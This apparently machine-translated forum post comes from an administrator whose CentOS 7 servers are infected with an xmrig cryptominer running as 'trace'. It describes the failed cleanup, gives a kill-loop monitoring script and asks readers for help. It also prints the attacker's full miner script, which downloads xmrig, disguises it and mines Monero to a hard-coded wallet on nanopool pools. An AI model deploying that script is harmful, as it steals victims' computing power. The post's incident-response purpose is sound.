Hace unos días, dos centos7 en línea encontraron un virus de minería. Todos los días la CPU está llena. El nombre del proceso es: trace. El nombre real del archivo es: xmrig.
Eche un vistazo al flujo de procesamiento:
Eche un vistazo al número de proceso. Luego, ls -l / proc / process number / exe, mire la ruta del programa de inicio y descubra que hay programas y scripts de inicio en home en / home
Luego cancele la autoridad de ejecución del programa y el script y déjelo.
Como resultado, corrió al día siguiente. Después de eso, eliminé los archivos, cambié la contraseña de root y el puerto remoto ssh, eliminé todas las claves y no encontré las tareas programadas en crontab y at. Find ha buscado todos los nombres relacionados y los ha verificado uno por uno, no hay problema.
Luego comenzó a funcionar automáticamente al tercer día.Se supone que puede haber un problema con el ranchero y el estibador. No hay forma de limpiar el servidor en el entorno de producción, por lo que solo puedo dejarlo de lado y escribir un script para monitoreo en tiempo real Este problema no ha ocurrido. Sin embargo, Alibaba Cloud todavía informa la comunicación del grupo de la mina todos los días.
Pongo el script de monitoreo y el script del programa de minería a continuación, todos los amigos pueden verlo. Si hay una buena solución, comente a continuación, gracias.
vim jkxmrig.sh (监控挖矿程序的脚本)
#!/bin/bash
while true
do
trace=`ps -ef | grep trace | grep -v grep | awk '{print $2}'`
if [ -z "$trace" ];
then
echo "[ not find trace pid ]"
else
echo "find result: $trace "
kill -9 $trace
fi
done
chmod +x jkxmrig.sh
~
nohup ./jkxmrig.sh > /dev/null 2>&1 &
(此为挖矿程序的运行脚本)
#!/bin/bash
if pgrep trace; then pkill trace; fi
threadCount=$(lscpu | grep 'CPU(s)' | grep -v ',' | awk '{print $2}' | head -n 1);
hostHash=$(hostname -f | md5sum | cut -c1-8);
echo "${hostHash} - ${threadCount}";
rm -rf config.json;
d () {
curl -L --insecure --connect-timeout 30 --max-time 800 --fail "$1" -o "$2" 2> /dev/null || wget --no-check-certificate --timeout 800 --tries 1 "$1" -O "$2" 2> /dev/null || _curl "$1" > "$2";
}
test ! -s trace && \
d https://github.com\xmrig/xmrig/releases/download/v5.0.0/xmrig-5.0.0-xenial-x64.tar.gz trace.tgz && \
tar -zxvf trace.tgz && \
mv xmrig-5.0.0/xmrig trace && \
rm -rf xmrig-5.0.0 && \
rm -rf trace.tgz;
test ! -x trace && chmod -x trace;
k() {
./trace \
-r 2 \
-R 2 \
--keepalive \
--no-color \
--donate-level 1 \
--max-cpu-usage 85 \
--cpu-priority 3 \
--print-time 25 \
--threads "${threadCount:-4}" \
--url "$1" \
--user 46sfbbM3XSjBo54d5a8PYUU5yQ31x6Rpv6tBhe22Cd7VYeJUyFUhzBF5rTf1oTB1d8MqgHxX5RbbEEKZd8fBAAmcFfv9Y5c \
--pass x \
--coin xmr \
--keepalive
}
k xmr-asia1.nanopool.org:14444 || k xmr-eu2.nanopool.org:14444 || k xmr-us-east1.nanopool.org:14444 || k xmr-us-west1.nanopool.org:14444 || k xmr-asia1.nanopool.org:14444 || k xmr-jp1.nanopool.org:14444